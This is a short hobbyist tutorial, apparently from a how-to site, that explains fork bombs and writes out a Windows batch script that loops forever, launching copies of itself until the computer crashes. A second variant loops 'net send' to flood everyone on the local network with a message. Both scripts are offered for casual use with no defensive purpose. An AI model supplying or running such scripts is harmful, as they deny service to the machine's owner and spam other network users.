Basically all a fork bomb is, is a program that keeps opening copies of itself which open up copies of itself, and so on and so forth. Well a VERY basic fork bomb would be:
@echo off:Startstart fork.batGOTO Start
Save as fork.bat:Start
marks a place in the script to which you may want to GOTO later or quicker then planned.GOTO
tells the program to go to a specific partstart
basically "starts" something it can be a webpage, anything.
eg, start http://instructables.com''
This GOTO trap last forever until the user either breaks the process of the computer crashes.
The start fork.bat
can be replaced with any command you like, for example;
@echo off:Startnet send * laconix rules!GOTO Start
Which basically send the text "laconix rules!" to anyone on your network with the Messenger Service
